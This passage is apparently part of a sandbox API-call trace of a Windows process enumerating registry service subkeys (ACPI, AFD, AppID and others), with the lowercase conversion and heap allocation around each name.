lpUsedDefaultChar=0x0) returned 21 [0239.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.222] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0239.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0239.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0239.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.222] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.222] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0239.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.222] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.222] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.223] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.223] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.223] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.223] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.223] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1928, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0239.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.224] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.224] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.224] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.224] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.224] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.224] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0239.224] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1928, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.225] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1e38, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.225] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.225] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.225] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0239.225] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.225] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.226] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.226] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.226] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.226] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.226] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.226] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0239.226] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.227] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.227] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.227] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.227] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.227] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.227] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0239.227] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0239.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.228] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.228] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0239.228] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.228] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.228] 